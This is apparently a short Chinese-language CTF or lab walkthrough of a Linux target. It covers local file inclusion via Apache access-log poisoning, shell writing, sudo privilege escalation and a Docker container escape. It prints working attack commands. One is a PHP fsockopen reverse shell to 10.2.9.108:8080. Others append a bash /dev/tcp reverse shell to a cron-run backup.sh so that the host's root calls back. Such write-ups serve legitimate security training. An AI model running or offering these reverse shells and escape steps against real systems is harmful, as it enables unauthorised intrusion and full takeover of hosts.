一、文件包含利用
1、本地文件包含

2、源码分析

3、apache日志文件包含
apache默认路径:/var/www/html
apache日志:/var/log/apache2/access.log
二、shell写入
1、远程访问写入文件

2、命令执行写shell(URL编码绕过)
测试后没有bash、python等环境,只能php 反弹shell。
php -r '$sock=fsockopen("10.2.9.108",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

三、提权

- sudo -l:显示当前用户有哪些权限,执行sudo -l命令来检查当前用户的sudo权限。
- 一些具有sudo权限的二进制程序有助于获得root访问权限。但除此之外,还有一些应用程序可以活得root访问权限,如果拥有sudo权限,如FTP或socat。在下面给出的命令中,以下程序分配了sudo权限,该程序可以以root用户身份运行。
raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

这里表明我们在一个Docker容器中。 第一个是随机主机名,第二个是.dockerenv文件。为后文容器逃逸做准备。
LinPEAS:shell脚本,用于搜索在Linux / Unix *主机上升级特权的可能路径。
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
四、容器逃逸
使用方法:运行反向外壳——即反向shell写入文件
可参考学习:Escaping Containers to Execute Commands on Play with Docker Servers
这里有一个backup.sh每分钟运行一次,将backup.tar带到/root/container,在备份脚本中添加反向shell可能使我们能够访问主机根目录。 由于它与主机根文件夹进行交互,所以backup.sh可能由主机创建并由主机运行。
echo "#!/bin/bash" > backup.sh
echo "/bin/bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/1234 0>&1'" >> backup.sh

网友评论